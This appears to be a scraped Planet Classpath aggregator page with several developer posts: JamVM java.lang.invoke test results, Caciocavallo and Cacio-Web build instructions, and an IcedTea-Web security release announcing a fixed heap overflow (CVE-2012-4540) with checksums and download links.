FOSDEM is one of those rare events in my life about which I can say that it had a very significant impact. I wouldn’t be where I am today, if I hadn’t attended it a few years ago. I am very happy that I can finally go there again, and meet lots of old and new friends and collegues. See you there, and cheers!
Passed: java/lang/invoke/6987555/Test6987555.javaThe changes aren't pushed to git yet, as JamVM will currently only work with OpenJDK 8. Getting it to work with OpenJDK 6/7 (without JSR 292) won't be difficult, but GNU Classpath will be more tricky.
Passed: java/lang/invoke/6991596/Test6991596.java
Passed: java/lang/invoke/6998541/Test6998541.java
Passed: java/lang/invoke/7157574/Test7157574.java
Passed: java/lang/invoke/7196190/ClassForNameTest.java
FAILED: java/lang/invoke/7196190/GetUnsafeTest.java
Passed: java/lang/invoke/7196190/MHProxyTest.java
Passed: java/lang/invoke/lambda/LambdaAccessControlDoPrivilegedTest.java
Passed: java/lang/invoke/lambda/LambdaAccessControlTest.java
Passed: java/lang/invoke/AccessControlTest.java
Passed: java/lang/invoke/BigArityTest.java
Passed: java/lang/invoke/CallSiteTest.java
Passed: java/lang/invoke/ClassValueTest.java
Passed: java/lang/invoke/InvokeDynamicPrintArgs.java
Passed: java/lang/invoke/InvokeGenericTest.java
Passed: java/lang/invoke/JavaDocExamplesTest.java
Passed: java/lang/invoke/MethodHandlesTest.java
Passed: java/lang/invoke/MethodTypeTest.java
Passed: java/lang/invoke/PermuteArgsTest.java
Passed: java/lang/invoke/PrivateInvokeTest.java
Passed: java/lang/invoke/RicochetTest.java
Passed: java/lang/invoke/ThrowExceptionsTest.java
Test results: passed: 21; failed: 1
Today we released Caciocavallo 1.3. The release announcement can be found here.
However, what is the more important news is that after the release, I fixed Cacio-Web to work with the latest Cacio build and enabled it in the default build so it doesn’t fall to the wayside again. On popular request I would like to summarize how to get Cacio-Web running. Note that this currently only works on Linux (patches to enable this on other platforms are welcome!)
First of all, check out the source code (the cacio-web changes are not yet released):
hg clone http://hg.openjdk.java.net/caciocavallo/ng/ caciocavallo
Then build it (you need Maven!):
cd caciocavallo mvn clean install
And finally you should be able to run with with something like this:
java -Dcacio.web.port=9091 -cp cacio-web/target/cacio-web-1.4-SNAPSHOT-jar-with-dependencies.jar:/home/rkennke/src/test/SwingSet2.jar net.java.openjdk.cacio.server.CacioServer
The -Dcacio.web.port parameter specifies on which port should Cacio-Web listen. Notice that the classpath needs to include your application (SwingSet2.jar in this case).
Then point your browser to a URL like this:
http://localhost:9091/SessionInitializer?cls=SwingSet2
Where the parameter cls specifies the (fully qualified) name of the main class of the application to start.
Please let me know if you run into any problems.
A potential heap buffer overflow issue has been found and fixed in
IcedTea-Web. It is recommended that all IcedTea-Web users update to this
new version.
We would like to thank Arthur Gerkis for reporting this issue.
The fixed issue is:
RH869040, CVE-2012-4540: Heap-based buffer overflow after triggering event attached to applet
Other fixes are listed in the NEWS files:
1.1.7 NEWS file
1.2.2 NEWS file
1.3.1 NEWS file
Please note that this will be the last 1.1.x release as we are not aware
of any distribution currently using 1.1.
The following people helped with these releases:
Adam Domurad
Omair Majid
Saad Mohammad
Jiri Vanek
Checksums:
709ef1880e259d0d0661d57323448e03524153fe3ade21366d55aff5a49608bb icedtea-web-1.1.7.tar.gz
e9e3c3dc413b01b965c0fc7fdc73d89683ffe1422ca7fd218c98debab9bdb675 icedtea-web-1.2.2.tar.gz
20c7fd1eef6c79cbc6478bb01236a3eb2f0af6184eaed24baca59a3c37eafb56 icedtea-web-1.3.1.tar.gz
Download links:
http://icedtea.classpath.org/download/source/icedtea-web-1.1.7.tar.gz
http://icedtea.classpath.org/download/source/icedtea-web-1.2.2.tar.gz
http://icedtea.classpath.org/download/source/icedtea-web-1.3.1.tar.gz
After extracting, it can be built as per instructions here:
http://icedtea.classpath.org/wiki/IcedTea-Web#Building_IcedTea-Web
GNU Classpath hackers unite! A collection of diaries by random developers of GNU Classpath related projects (and movie reviews). You can also find some of us in #classpath on irc.gnu.org.
![[RSS 1.0 Feed]](images/rss10.png){kind=small}
![[RSS 2.0 Feed]](images/rss20.png){kind=small}
![[FOAF Subscriptions]](images/foaf.png){kind=small}
![[OPML Subscriptions]](images/opml.png){kind=small}
See also: developer.classpath.org
May 22, 2013 20:02 (UTC)